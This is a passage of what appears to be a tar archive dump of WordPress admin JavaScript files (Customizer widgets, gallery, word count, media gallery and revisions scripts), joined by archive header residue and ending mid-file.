e,t=this;t.embedWidgetControl(),t.widgetContentEmbedded||(t.widgetContentEmbedded=!0,t.notifications.container=t.getNotificationsContainerElement(),t.notifications.render(),e=h(t.params.widget_content),t.container.find(".widget-content:first").append(e),h(document).trigger("widget-added",[t.container.find(".widget:first")]))},_setupModel:function(){var i=this,e=function(){p.Widgets.savedWidgetIds[i.params.widget_id]=!0};p.bind("ready",e),p.bind("saved",e),this._updateCount=0,this.isWidgetUpdating=!1,this.liveUpdateMode=!0,this.setting.bind(function(e,t){_(t).isEqual(e)||i.isWidgetUpdating||i.updateWidget({instance:e})})},_setupWideWidget:function(){var n,s,e,t,i,d=this;!this.params.is_wide||h(window).width()<=640||(n=this.container.find(".widget-inside"),s=n.find("> .form"),e=h(".wp-full-overlay-sidebar-content:first"),this.container.addClass("wide-widget-control"),this.container.find(".form:first").css({"max-width":this.params.width,"min-height":this.params.height}),i=function(){var e=d.container.offset().top,t=h(window).height(),i=s.outerHeight();n.css("max-height",t),e=Math.max(0,Math.min(Math.max(e,0),t-i)),n.css("top",e)},t=h("#customize-theme-controls"),this.container.on("expand",function(){i(),e.on("scroll",i),h(window).on("resize",i),t.on("expanded collapsed",i)}),this.container.on("collapsed",function(){e.off("scroll",i),h(window).off("resize",i),t.off("expanded collapsed",i)}),p.each(function(e){0===e.id.indexOf("sidebars_widgets[")&&e.bind(function(){d.container.hasClass("expanded")&&i()})}))},_setupControlToggle:function(){var t=this;this.container.find(".widget-top").on("click",function(e){e.preventDefault(),t.getSidebarWidgetsControl().isReordering||t.expanded(!t.expanded())}),this.container.find(".widget-control-close").on("click",function(){t.collapse(),t.container.find(".widget-top .widget-action:first").focus()})},_setupWidgetTitle:function(){var i=this,e=function(){var e=i.setting().title,t=i.container.find(".in-widget-title");e?t.text(": "+e):t.text("")};this.setting.bind(e),e()},_setupReorderUI:function(){var t,e,d=this,s=function(e){e.siblings(".selected").removeClass("selected"),e.addClass("selected");e=e.data("id")===d.params.sidebar_id;d.container.find(".move-widget-btn").prop("disabled",e)};this.container.find(".widget-title-action").after(h(p.Widgets.data.tpl.widgetReorderNav)),e=_.template(p.Widgets.data.tpl.moveWidgetArea),t=h(e({sidebars:_(p.Widgets.registeredSidebars.toArray()).pluck("attributes")})),this.container.find(".widget-top").after(t),(e=function(){var e=t.find("li"),i=0,n=e.filter(function(){return h(this).data("id")===d.params.sidebar_id});e.each(function(){var e=h(this),t=e.data("id"),t=p.Widgets.registeredSidebars.get(t).get("is_rendered");e.toggle(t),t&&(i+=1),e.hasClass("selected")&&!t&&s(n)}),1<i?d.container.find(".move-widget").show():d.container.find(".move-widget").hide()})(),p.Widgets.registeredSidebars.on("change:is_rendered",e),this.container.find(".widget-reorder-nav").find(".move-widget, .move-widget-down, .move-widget-up").each(function(){h(this).prepend(d.container.find(".widget-title").text()+": ")}).on("click keypress",function(e){var t,i;"keypress"===e.type&&13!==e.which&&32!==e.which||(h(this).trigger("focus"),h(this).is(".move-widget")?d.toggleWidgetMoveArea():(e=h(this).is(".move-widget-down"),t=h(this).is(".move-widget-up"),i=d.getWidgetSidebarPosition(),t&&0===i||e&&i===d.getSidebarWidgetsControl().setting().length-1||(t?(d.moveUp(),u.a11y.speak(f.widgetMovedUp)):(d.moveDown(),u.a11y.speak(f.widgetMovedDown)),h(this).trigger("focus"))))}),this.container.find(".widget-area-select").on("click keypress","li",function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||(e.preventDefault(),s(h(this)))}),this.container.find(".move-widget-btn").click(function(){d.getSidebarWidgetsControl().toggleReordering(!1);var e=d.params.sidebar_id,t=d.container.find(".widget-area-select li.selected").data("id"),e=p("sidebars_widgets["+e+"]"),t=p("sidebars_widgets["+t+"]"),i=Array.prototype.slice.call(e()),n=Array.prototype.slice.call(t()),s=d.getWidgetSidebarPosition();i.splice(s,1),n.push(d.params.widget_id),e(i),t(n),d.focus()})},_setupHighlightEffects:function(){var e=this;this.container.on("mouseenter click",function(){e.setting.previewer.send("highlight-widget",e.params.widget_id)}),this.setting.bind(function(){e.setting.previewer.send("highlight-widget",e.params.widget_id)})},_setupUpdateUI:function(){var t,i,n=this,s=this.container.find(".widget:first"),e=s.find(".widget-content:first"),d=this.container.find(".widget-control-save");d.val(f.saveBtnLabel),d.attr("title",f.saveBtnTooltip),d.removeClass("button-primary"),d.on("click",function(e){e.preventDefault(),n.updateWidget({disable_form:!0})}),t=_.debounce(function(){n.updateWidget()},250),e.on("keydown","input",function(e){13===e.which&&(e.preventDefault(),n.updateWidget({ignoreActiveElement:!0}))}),e.on("change input propertychange",":input",function(e){n.liveUpdateMode&&("change"===e.type||this.checkValidity&&this.checkValidity())&&t()}),this.setting.previewer.channel.bind("synced",function(){n.container.removeClass("previewer-loading")}),p.previewer.bind("widget-updated",function(e){e===n.params.widget_id&&n.container.removeClass("previewer-loading")}),(i=p.Widgets.formSyncHandlers[this.params.widget_id_base])&&h(document).on("widget-synced",function(e,t){s.is(t)&&i.apply(document,arguments)})},onChangeActive:function(e,t){this.container.toggleClass("widget-rendered",e),t.completeCallback&&t.completeCallback()},_setupRemoveUI:function(){var e,s=this,t=this.container.find(".widget-control-remove");t.on("click",function(){var n=s.container.next().is(".customize-control-widget_form")?s.container.next().find(".widget-action:first"):s.container.prev().is(".customize-control-widget_form")?s.container.prev().find(".widget-action:first"):s.container.next(".customize-control-sidebar_widgets").find(".add-new-widget:first");s.container.slideUp(function(){var e,t,i=p.Widgets.getSidebarWidgetControlContainingWidget(s.params.widget_id);i&&(e=i.setting().slice(),-1!==(t=_.indexOf(e,s.params.widget_id)))&&(e.splice(t,1),i.setting(e),n.focus())})}),e=function(){t.text(f.removeBtnLabel),t.attr("title",f.removeBtnTooltip)},this.params.is_new?p.bind("saved",e):e()},_getInputs:function(e){return h(e).find(":input[name]")},_getInputsSignature:function(e){return _(e).map(function(e){e=h(e),e=e.is(":checkbox, :radio")?[e.attr("id"),e.attr("name"),e.prop("value")]:[e.attr("id"),e.attr("name")];return e.join(",")}).join(";")},_getInputState:function(e){return(e=h(e)).is(":radio, :checkbox")?e.prop("checked"):e.is("select[multiple]")?e.find("option:selected").map(function(){return h(this).val()}).get():e.val()},_setInputState:function(e,t){(e=h(e)).is(":radio, :checkbox")?e.prop("checked",t):e.is("select[multiple]")?(t=Array.isArray(t)?_.map(t,function(e){return String(e)}):[],e.find("option").each(function(){h(this).prop("selected",-1!==_.indexOf(t,String(this.value)))})):e.val(t)},getSidebarWidgetsControl:function(){var e="sidebars_widgets["+this.params.sidebar_id+"]",e=p.control(e);if(e)return e},updateWidget:function(s){var d,a,o,r,e,l,t,i,c,g=this;g.embedWidgetContent(),i=(s=h.extend({instance:null,complete:null,ignoreActiveElement:!1},s)).instance,d=s.complete,this._updateCount+=1,r=this._updateCount,a=this.container.find(".widget:first"),(o=a.find(".widget-content:first")).find(".widget-error").remove(),this.container.addClass("widget-form-loading"),this.container.addClass("previewer-loading"),(t=p.state("processing"))(t()+1),this.liveUpdateMode||this.container.addClass("widget-form-disabled"),(e={action:"update-widget",wp_customize:"on"}).nonce=p.settings.nonce["update-widget"],e.customize_theme=p.settings.theme.stylesheet,e.customized=u.customize.previewer.query().customized,e=h.param(e),(l=this._getInputs(o)).each(function(){h(this).data("state"+r,g._getInputState(this))}),e=(e+=i?"&"+h.param({sanitized_widget_setting:JSON.stringify(i)}):"&"+l.serialize())+"&"+o.find("~ :input").serialize(),this._previousUpdateRequest&&this._previousUpdateRequest.abort(),i=h.post(u.ajax.settings.url,e),(this._previousUpdateRequest=i).done(function(e){var n,t,i=!1;"0"===e?(p.previewer.preview.iframe.hide(),p.previewer.login().done(function(){g.updateWidget(s),p.previewer.preview.iframe.show()})):"-1"===e?p.previewer.cheatin():e.success?(t=h("<div>"+e.data.form+"</div>"),n=g._getInputs(t),(t=g._getInputsSignature(l)===g._getInputsSignature(n))&&!g.liveUpdateMode&&(g.liveUpdateMode=!0,g.container.removeClass("widget-form-disabled"),g.container.find('input[name="savewidget"]').hide()),t&&g.liveUpdateMode?(l.each(function(e){var t=h(this),e=h(n[e]),i=t.data("state"+r),e=g._getInputState(e);t.data("sanitized",e),_.isEqual(i,e)||!s.ignoreActiveElement&&t.is(document.activeElement)||g._setInputState(t,e)}),h(document).trigger("widget-synced",[a,e.data.form])):g.liveUpdateMode?(g.liveUpdateMode=!1,g.container.find('input[name="savewidget"]').show(),i=!0):(o.html(e.data.form),g.container.removeClass("widget-form-disabled"),h(document).trigger("widget-updated",[a])),(c=!i&&!_(g.setting()).isEqual(e.data.instance))?(g.isWidgetUpdating=!0,g.setting(e.data.instance),g.isWidgetUpdating=!1):g.container.removeClass("previewer-loading"),d&&d.call(g,null,{noChange:!c,ajaxFinished:!0})):(t=f.error,e.data&&e.data.message&&(t=e.data.message),d?d.call(g,t):o.prepend('<p class="widget-error"><strong>'+t+"</strong></p>"))}),i.fail(function(e,t){d&&d.call(g,t)}),i.always(function(){g.container.removeClass("widget-form-loading"),l.each(function(){h(this).removeData("state"+r)}),t(t()-1)})},expandControlSection:function(){p.Control.prototype.expand.call(this)},_toggleExpanded:p.Section.prototype._toggleExpanded,expand:p.Section.prototype.expand,expandForm:function(){this.expand()},collapse:p.Section.prototype.collapse,collapseForm:function(){this.collapse()},toggleForm:function(e){void 0===e&&(e=!this.expanded()),this.expanded(e)},onChangeExpanded:function(e,t){var i,n,s,d,a,o=this;o.embedWidgetControl(),e&&o.embedWidgetContent(),t.unchanged?e&&p.Control.prototype.expand.call(o,{completeCallback:t.completeCallback}):(i=this.container.find("div.widget:first"),n=i.find(".widget-inside:first"),e=function(){p.control.each(function(e){o.params.type===e.params.type&&o!==e&&e.collapse()}),s=function(){o.container.removeClass("expanding"),o.container.addClass("expanded"),i.addClass("open"),a.attr("aria-expanded","true"),o.container.trigger("expanded")},t.completeCallback&&(d=s,s=function(){d(),t.completeCallback()}),o.params.is_wide?n.fadeIn(t.duration,s):n.slideDown(t.duration,s),o.container.trigger("expand"),o.container.addClass("expanding")},"false"===(a=this.container.find(".widget-top button.widget-action")).attr("aria-expanded")?p.section.has(o.section())?p.section(o.section()).expand({completeCallback:e}):e():(s=function(){o.container.removeClass("collapsing"),o.container.removeClass("expanded"),i.removeClass("open"),a.attr("aria-expanded","false"),o.container.trigger("collapsed")},t.completeCallback&&(d=s,s=function(){d(),t.completeCallback()}),o.container.trigger("collapse"),o.container.addClass("collapsing"),o.params.is_wide?n.fadeOut(t.duration,s):n.slideUp(t.duration,function(){i.css({width:"",margin:""}),s()})))},getWidgetSidebarPosition:function(){var e=this.getSidebarWidgetsControl().setting(),e=_.indexOf(e,this.params.widget_id);if(-1!==e)return e},moveUp:function(){this._moveWidgetByOne(-1)},moveDown:function(){this._moveWidgetByOne(1)},_moveWidgetByOne:function(e){var t=this.getWidgetSidebarPosition(),i=this.getSidebarWidgetsControl().setting,n=Array.prototype.slice.call(i()),s=n[t+e];n[t+e]=this.params.widget_id,n[t]=s,i(n)},toggleWidgetMoveArea:function(e){var t=this,i=this.container.find(".move-widget-area");(e=void 0===e?!i.hasClass("active"):e)&&(i.find(".selected").removeClass("selected"),i.find("li").filter(function(){return h(this).data("id")===t.params.sidebar_id}).addClass("selected"),this.container.find(".move-widget-btn").prop("disabled",!0)),i.toggleClass("active",e)},highlightSectionAndControl:function(){var e=this.container.is(":hidden")?this.container.closest(".control-section"):this.container;h(".highlighted").removeClass("highlighted"),e.addClass("highlighted"),setTimeout(function(){e.removeClass("highlighted")},500)}}),p.Widgets.WidgetsPanel=p.Panel.extend({ready:function(){var d=this;p.Panel.prototype.ready.call(d),d.deferred.embedded.done(function(){var t,i,n,e=d.container.find(".panel-meta"),s=h("<div></div>",{class:"no-widget-areas-rendered-notice",role:"alert"});e.append(s),i=function(){return _.filter(d.sections(),function(e){return"sidebar"===e.params.type&&e.active()}).length},n=function(){var e=i();return 0===e||e!==p.Widgets.data.registeredSidebars.length},(t=function(){var e,t=i();s.empty(),t!==(e=p.Widgets.data.registeredSidebars.length)&&((e=0!==t?f.someAreasShown[e-t]:f.noAreasShown)&&s.append(h("<p></p>",{text:e})),s.append(h("<p></p>",{text:f.navigatePreview})))})(),s.toggle(n()),p.previewer.deferred.active.done(function(){s.toggle(n())}),p.bind("pane-contents-reflowed",function(){var e="resolved"===p.previewer.deferred.active.state()?"fast":0;t(),n()?s.slideDown(e):s.slideUp(e)})})},isContextuallyActive:function(){return this.active()}}),p.Widgets.SidebarSection=p.Section.extend({ready:function(){var t;p.Section.prototype.ready.call(this),t=p.Widgets.registeredSidebars.get(this.params.sidebarId),this.active.bind(function(e){t.set("is_rendered",e)}),t.set("is_rendered",this.active())}}),p.Widgets.SidebarControl=p.Control.extend({ready:function(){this.$controlSection=this.container.closest(".control-section"),this.$sectionContent=this.container.closest(".accordion-section-content"),this._setupModel(),this._setupSortable(),this._setupAddition(),this._applyCardinalOrderClassNames()},_setupModel:function(){var s=this;this.setting.bind(function(i,e){var t,n,e=_(e).difference(i);i=_(i).filter(function(e){e=c(e);return!!p.Widgets.availableWidgets.findWhere({id_base:e.id_base})}),(t=_(i).map(function(e){return p.Widgets.getWidgetFormControlForWidget(e)||s.addWidget(e)})).sort(function(e,t){return _.indexOf(i,e.params.widget_id)-_.indexOf(i,t.params.widget_id)}),n=0,_(t).each(function(e){e.priority(n),e.section(s.section()),n+=1}),s.priority(n),s._applyCardinalOrderClassNames(),_(t).each(function(e){e.params.sidebar_id=s.params.sidebar_id}),_(e).each(function(n){setTimeout(function(){var e,t,i=!1;p.each(function(e){e.id!==s.setting.id&&0===e.id.indexOf("sidebars_widgets[")&&"sidebars_widgets[wp_inactive_widgets]"!==e.id&&(e=e(),-1!==_.indexOf(e,n))&&(i=!0)}),i||(t=(e=p.Widgets.getWidgetFormControlForWidget(n))&&h.contains(document,e.container[0])&&!h.contains(s.$sectionContent[0],e.container[0]),e&&!t&&(p.control.remove(e.id),e.container.remove()),p.Widgets.savedWidgetIds[n]&&((t=p.value("sidebars_widgets[wp_inactive_widgets]")().slice()).push(n),p.value("sidebars_widgets[wp_inactive_widgets]")(_(t).unique())),e=c(n).id_base,(t=p.Widgets.availableWidgets.findWhere({id_base:e}))&&!t.get("is_multi")&&t.set("is_disabled",!1))})})})},_setupSortable:function(){var t=this;this.isReordering=!1,this.$sectionContent.sortable({items:"> .customize-control-widget_form",handle:".widget-top",axis:"y",tolerance:"pointer",connectWith:".accordion-section-content:has(.customize-control-sidebar_widgets)",update:function(){var e=t.$sectionContent.sortable("toArray"),e=h.map(e,function(e){return h("#"+e).find(":input[name=widget-id]").val()});t.setting(e)}}),this.$controlSection.find(".accordion-section-title").droppable({accept:".customize-control-widget_form",over:function(){p.section(t.section.get()).expand({allowMultiple:!0,completeCallback:function(){p.section.each(function(e){e.container.find(".customize-control-sidebar_widgets").length&&e.container.find(".accordion-section-content:first").sortable("refreshPositions")})}})}}),this.container.find(".reorder-toggle").on("click",function(){t.toggleReordering(!t.isReordering)})},_setupAddition:function(){var t=this;this.container.find(".add-new-widget").on("click",function(){var e=h(this);t.$sectionContent.hasClass("reordering")||(h("body").hasClass("adding-widget")?(e.attr("aria-expanded","false"),p.Widgets.availableWidgetsPanel.close()):(e.attr("aria-expanded","true"),p.Widgets.availableWidgetsPanel.open(t)))})},_applyCardinalOrderClassNames:function(){var t=[];_.each(this.setting(),function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&t.push(e)}),0===t.length||1===p.Widgets.registeredSidebars.length&&t.length<=1?this.container.find(".reorder-toggle").hide():(this.container.find(".reorder-toggle").show(),h(t).each(function(){h(this.container).removeClass("first-widget").removeClass("last-widget").find(".move-widget-down, .move-widget-up").prop("tabIndex",0)}),_.first(t).container.addClass("first-widget").find(".move-widget-up").prop("tabIndex",-1),_.last(t).container.addClass("last-widget").find(".move-widget-down").prop("tabIndex",-1))},toggleReordering:function(e){var t=this.$sectionContent.find(".add-new-widget"),i=this.container.find(".reorder-toggle"),n=this.$sectionContent.find(".widget-title");(e=Boolean(e))!==this.$sectionContent.hasClass("reordering")&&(this.isReordering=e,this.$sectionContent.toggleClass("reordering",e),e?(_(this.getWidgetFormControls()).each(function(e){e.collapse()}),t.attr({tabindex:"-1","aria-hidden":"true"}),i.attr("aria-label",f.reorderLabelOff),u.a11y.speak(f.reorderModeOn),n.attr("aria-hidden","true")):(t.removeAttr("tabindex aria-hidden"),i.attr("aria-label",f.reorderLabelOn),u.a11y.speak(f.reorderModeOff),n.attr("aria-hidden","false")))},getWidgetFormControls:function(){var t=[];return _(this.setting()).each(function(e){e=function(e){var t,e=c(e);t="widget_"+e.id_base,e.number&&(t+="["+e.number+"]");return t}(e),e=p.control(e);e&&t.push(e)}),t},addWidget:function(n){var e,t,i,s,d,a=this,o="widget_form",r=c(n),l=r.number,r=p.Widgets.availableWidgets.findWhere({id_base:r.id_base});return!(!r||l&&!r.get("is_multi"))&&(r.get("is_multi")&&!l&&(r.set("multi_number",r.get("multi_number")+1),l=r.get("multi_number")),e=h("#widget-tpl-"+r.get("id")).html().trim(),r.get("is_multi")?e=e.replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,l)}):r.set("is_disabled",!0),e=h(e),(e=h("<li/>").addClass("customize-control").addClass("customize-control-"+o).append(e)).find("> .widget-icon").remove(),r.get("is_multi")&&(e.find('input[name="widget_number"]').val(l),e.find('input[name="multi_number"]').val(l)),n=e.find('[name="widget-id"]').val(),e.hide(),t="widget_"+r.get("id_base"),r.get("is_multi")&&(t+="["+l+"]"),e.attr("id","customize-control-"+t.replace(/\]/g,"").replace(/\[/g,"-")),(i=p.has(t))||(d={transport:p.Widgets.data.selectiveRefreshableWidgets[r.get("id_base")]?"postMessage":"refresh",previewer:this.setting.previewer},p.create(t,t,"",d).set({})),d=p.controlConstructor[o],s=new d(t,{settings:{default:t},content:e,sidebar_id:a.params.sidebar_id,widget_id:n,widget_id_base:r.get("id_base"),type:o,is_new:!i,width:r.get("width"),height:r.get("height"),is_wide:r.get("is_wide")}),p.control.add(s),p.each(function(e){var t,i;e.id!==a.setting.id&&0===e.id.indexOf("sidebars_widgets[")&&(t=e().slice(),-1!==(i=_.indexOf(t,n)))&&(t.splice(i),e(t))}),d=this.setting().slice(),-1===_.indexOf(d,n)&&(d.push(n),this.setting(d)),e.slideDown(function(){i&&s.updateWidget({instance:s.setting()})}),s)}}),h.extend(p.panelConstructor,{widgets:p.Widgets.WidgetsPanel}),h.extend(p.sectionConstructor,{sidebar:p.Widgets.SidebarSection}),h.extend(p.controlConstructor,{widget_form:p.Widgets.WidgetControl,sidebar_widgets:p.Widgets.SidebarControl}),p.bind("ready",function(){p.Widgets.availableWidgetsPanel=new p.Widgets.AvailableWidgetsPanelView({collection:p.Widgets.availableWidgets}),p.previewer.bind("highlight-widget-control",p.Widgets.highlightWidgetFormControl),p.previewer.bind("focus-widget-control",p.Widgets.focusWidgetFormControl)}),p.Widgets.highlightWidgetFormControl=function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&e.highlightSectionAndControl()},p.Widgets.focusWidgetFormControl=function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&e.focus()},p.Widgets.getSidebarWidgetControlContainingWidget=function(t){var i=null;return p.control.each(function(e){"sidebar_widgets"===e.params.type&&-1!==_.indexOf(e.setting(),t)&&(i=e)}),i},p.Widgets.getWidgetFormControlForWidget=function(t){var i=null;return p.control.each(function(e){"widget_form"===e.params.type&&e.params.widget_id===t&&(i=e)}),i},h(document).on("widget-added",function(e,t){var s,d,i,n=c(t.find("> .widget-inside > .form > .widget-id").val());"nav_menu"===n.id_base&&(s=p.control("widget_nav_menu["+String(n.number)+"]"))&&(d=t.find('select[name*="nav_menu"]'),i=t.find(".edit-selected-nav-menu > button"),0!==d.length)&&0!==i.length&&(d.on("change",function(){p.section.has("nav_menu["+d.val()+"]")?i.parent().show():i.parent().hide()}),i.on("click",function(){var i,n,e=p.section("nav_menu["+d.val()+"]");e&&(n=s,(i=e).focus(),i.expanded.bind(function e(t){t||(i.expanded.unbind(e),n.focus())}))}))}))}(window.wp,jQuery); gallery.js 0000644 00000012647 15222552267 0006563 0 ustar 00 /** * @output wp-admin/js/gallery.js */ /* global unescape, getUserSetting, setUserSetting, wpgallery, tinymce */ jQuery( function($) { var gallerySortable, gallerySortableInit, sortIt, clearAll, w, desc = false; gallerySortableInit = function() { gallerySortable = $('#media-items').sortable( { items: 'div.media-item', placeholder: 'sorthelper', axis: 'y', distance: 2, handle: 'div.filename', stop: function() { // When an update has occurred, adjust the order for each item. var all = $('#media-items').sortable('toArray'), len = all.length; $.each(all, function(i, id) { var order = desc ? (len - i) : (1 + i); $('#' + id + ' .menu_order input').val(order); }); } } ); }; sortIt = function() { var all = $('.menu_order_input'), len = all.length; all.each(function(i){ var order = desc ? (len - i) : (1 + i); $(this).val(order); }); }; clearAll = function(c) { c = c || 0; $('.menu_order_input').each( function() { if ( this.value === '0' || c ) { this.value = ''; } }); }; $('#asc').on( 'click', function( e ) { e.preventDefault(); desc = false; sortIt(); }); $('#desc').on( 'click', function( e ) { e.preventDefault(); desc = true; sortIt(); }); $('#clear').on( 'click', function( e ) { e.preventDefault(); clearAll(1); }); $('#showall').on( 'click', function( e ) { e.preventDefault(); $('#sort-buttons span a').toggle(); $('a.describe-toggle-on').hide(); $('a.describe-toggle-off, table.slidetoggle').show(); $('img.pinkynail').toggle(false); }); $('#hideall').on( 'click', function( e ) { e.preventDefault(); $('#sort-buttons span a').toggle(); $('a.describe-toggle-on').show(); $('a.describe-toggle-off, table.slidetoggle').hide(); $('img.pinkynail').toggle(true); }); // Initialize sortable. gallerySortableInit(); clearAll(); if ( $('#media-items>*').length > 1 ) { w = wpgallery.getWin(); $('#save-all, #gallery-settings').show(); if ( typeof w.tinyMCE !== 'undefined' && w.tinyMCE.activeEditor && ! w.tinyMCE.activeEditor.isHidden() ) { wpgallery.mcemode = true; wpgallery.init(); } else { $('#insert-gallery').show(); } } }); /* gallery settings */ window.tinymce = null; window.wpgallery = { mcemode : false, editor : {}, dom : {}, is_update : false, el : {}, I : function(e) { return document.getElementById(e); }, init: function() { var t = this, li, q, i, it, w = t.getWin(); if ( ! t.mcemode ) { return; } li = ('' + document.location.search).replace(/^\?/, '').split('&'); q = {}; for (i=0; i<li.length; i++) { it = li[i].split('='); q[unescape(it[0])] = unescape(it[1]); } if ( q.mce_rdomain ) { document.domain = q.mce_rdomain; } // Find window & API. window.tinymce = w.tinymce; window.tinyMCE = w.tinyMCE; t.editor = tinymce.EditorManager.activeEditor; t.setup(); }, getWin : function() { return window.dialogArguments || opener || parent || top; }, setup : function() { var t = this, a, ed = t.editor, g, columns, link, order, orderby; if ( ! t.mcemode ) { return; } t.el = ed.selection.getNode(); if ( t.el.nodeName !== 'IMG' || ! ed.dom.hasClass(t.el, 'wpGallery') ) { if ( ( g = ed.dom.select('img.wpGallery') ) && g[0] ) { t.el = g[0]; } else { if ( getUserSetting('galfile') === '1' ) { t.I('linkto-file').checked = 'checked'; } if ( getUserSetting('galdesc') === '1' ) { t.I('order-desc').checked = 'checked'; } if ( getUserSetting('galcols') ) { t.I('columns').value = getUserSetting('galcols'); } if ( getUserSetting('galord') ) { t.I('orderby').value = getUserSetting('galord'); } jQuery('#insert-gallery').show(); return; } } a = ed.dom.getAttrib(t.el, 'title'); a = ed.dom.decode(a); if ( a ) { jQuery('#update-gallery').show(); t.is_update = true; columns = a.match(/columns=['"]([0-9]+)['"]/); link = a.match(/link=['"]([^'"]+)['"]/i); order = a.match(/order=['"]([^'"]+)['"]/i); orderby = a.match(/orderby=['"]([^'"]+)['"]/i); if ( link && link[1] ) { t.I('linkto-file').checked = 'checked'; } if ( order && order[1] ) { t.I('order-desc').checked = 'checked'; } if ( columns && columns[1] ) { t.I('columns').value = '' + columns[1]; } if ( orderby && orderby[1] ) { t.I('orderby').value = orderby[1]; } } else { jQuery('#insert-gallery').show(); } }, update : function() { var t = this, ed = t.editor, all = '', s; if ( ! t.mcemode || ! t.is_update ) { s = '[gallery' + t.getSettings() + ']'; t.getWin().send_to_editor(s); return; } if ( t.el.nodeName !== 'IMG' ) { return; } all = ed.dom.decode( ed.dom.getAttrib( t.el, 'title' ) ); all = all.replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi, ''); all += t.getSettings(); ed.dom.setAttrib(t.el, 'title', all); t.getWin().tb_remove(); }, getSettings : function() { var I = this.I, s = ''; if ( I('linkto-file').checked ) { s += ' link="file"'; setUserSetting('galfile', '1'); } if ( I('order-desc').checked ) { s += ' order="DESC"'; setUserSetting('galdesc', '1'); } if ( I('columns').value !== 3 ) { s += ' columns="' + I('columns').value + '"'; setUserSetting('galcols', I('columns').value); } if ( I('orderby').value !== 'menu_order' ) { s += ' orderby="' + I('orderby').value + '"'; setUserSetting('galord', I('orderby').value); } return s; } }; word-count.min.js 0000644 00000002772 15222552267 0010005 0 ustar 00 /*! This file is auto-generated */ !function(){function e(e){var t,s;if(e)for(t in e)e.hasOwnProperty(t)&&(this.settings[t]=e[t]);(s=this.settings.l10n.shortcodes)&&s.length&&(this.settings.shortcodesRegExp=new RegExp("\\[\\/?(?:"+s.join("|")+")[^\\]]*?\\]","g"))}e.prototype.settings={HTMLRegExp:/<\/?[a-z][^>]*?>/gi,HTMLcommentRegExp:/<!--[\s\S]*?-->/g,spaceRegExp:/ | /gi,HTMLEntityRegExp:/&\S+?;/g,connectorRegExp:/--|\u2014/g,removeRegExp:new RegExp(["[","!-@[-`{-~","\x80-\xbf\xd7\xf7","\u2000-\u2bff","\u2e00-\u2e7f","]"].join(""),"g"),astralRegExp:/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,wordsRegExp:/\S\s+/g,characters_excluding_spacesRegExp:/\S/g,characters_including_spacesRegExp:/[^\f\n\r\t\v\u00AD\u2028\u2029]/g,l10n:window.wordCountL10n||{}},e.prototype.count=function(e,t){var s=0;return"characters_excluding_spaces"!==(t=t||this.settings.l10n.type)&&"characters_including_spaces"!==t&&(t="words"),s=e&&(e=(e=(e+="\n").replace(this.settings.HTMLRegExp,"\n")).replace(this.settings.HTMLcommentRegExp,""),e=(e=this.settings.shortcodesRegExp?e.replace(this.settings.shortcodesRegExp,"\n"):e).replace(this.settings.spaceRegExp," "),e=(e="words"===t?(e=(e=e.replace(this.settings.HTMLEntityRegExp,"")).replace(this.settings.connectorRegExp," ")).replace(this.settings.removeRegExp,""):(e=e.replace(this.settings.HTMLEntityRegExp,"a")).replace(this.settings.astralRegExp,"a")).match(this.settings[t+"RegExp"]))?e.length:s},window.wp=window.wp||{},window.wp.utils=window.wp.utils||{},window.wp.utils.WordCounter=e}(); media-gallery.min.js 0000644 00000001143 15222552267 0010407 0 ustar 00 /*! This file is auto-generated */ jQuery(function(o){o("body").on("click.wp-gallery",function(a){var e,t,n=o(a.target);n.hasClass("wp-set-header")?((window.dialogArguments||opener||parent||top).location.href=n.data("location"),a.preventDefault()):n.hasClass("wp-set-background")&&(n=n.data("attachment-id"),e=o('input[name="attachments['+n+'][image-size]"]:checked').val(),t=o("#_wpnonce").val()&&"",jQuery.post(ajaxurl,{action:"set-background-image",attachment_id:n,_ajax_nonce:t,size:e},function(){var a=window.dialogArguments||opener||parent||top;a.tb_remove(),a.location.reload()}),a.preventDefault())})}); revisions.js 0000644 00000103651 15222552267 0007141 0 ustar 00 /** * @file Revisions interface functions, Backbone classes and * the revisions.php document.ready bootstrap. * * @output wp-admin/js/revisions.js */ /* global isRtl */ window.wp = window.wp || {}; (function($) { var revisions; /** * Expose the module in window.wp.revisions. */ revisions = wp.revisions = { model: {}, view: {}, controller: {} }; // Link post revisions data served from the back end. revisions.settings = window._wpRevisionsSettings || {}; // For debugging. revisions.debug = false; /** * wp.revisions.log * * A debugging utility for revisions. Works only when a * debug flag is on and the browser supports it. */ revisions.log = function() { if ( window.console && revisions.debug ) { window.console.log.apply( window.console, arguments ); } }; // Handy functions to help with positioning. $.fn.allOffsets = function() { var offset = this.offset() || {top: 0, left: 0}, win = $(window); return _.extend( offset, { right: win.width() - offset.left - this.outerWidth(), bottom: win.height() - offset.top - this.outerHeight() }); }; $.fn.allPositions = function() { var position = this.position() || {top: 0, left: 0}, parent = this.parent(); return _.extend( position, { right: parent.outerWidth() - position.left - this.outerWidth(), bottom: parent.outerHeight() - position.top - this.outerHeight() }); }; /** * ======================================================================== * MODELS * ======================================================================== */ revisions.model.Slider = Backbone.Model.extend({ defaults: { value: null, values: null, min: 0, max: 1, step: 1, range: false, compareTwoMode: false }, initialize: function( options ) { this.frame = options.frame; this.revisions = options.revisions; // Listen for changes to the revisions or mode from outside. this.listenTo( this.frame, 'update:revisions', this.receiveRevisions ); this.listenTo( this.frame, 'change:compareTwoMode', this.updateMode ); // Listen for internal changes. this.on( 'change:from', this.handleLocalChanges ); this.on( 'change:to', this.handleLocalChanges ); this.on( 'change:compareTwoMode', this.updateSliderSettings ); this.on( 'update:revisions', this.updateSliderSettings ); // Listen for changes to the hovered revision. this.on( 'change:hoveredRevision', this.hoverRevision ); this.set({ max: this.revisions.length - 1, compareTwoMode: this.frame.get('compareTwoMode'), from: this.frame.get('from'), to: this.frame.get('to') }); this.updateSliderSettings(); }, getSliderValue: function( a, b ) { return isRtl ? this.revisions.length - this.revisions.indexOf( this.get(a) ) - 1 : this.revisions.indexOf( this.get(b) ); }, updateSliderSettings: function() { if ( this.get('compareTwoMode') ) { this.set({ values: [ this.getSliderValue( 'to', 'from' ), this.getSliderValue( 'from', 'to' ) ], value: null, range: true // Ensures handles cannot cross. }); } else { this.set({ value: this.getSliderValue( 'to', 'to' ), values: null, range: false }); } this.trigger( 'update:slider' ); }, // Called when a revision is hovered. hoverRevision: function( model, value ) { 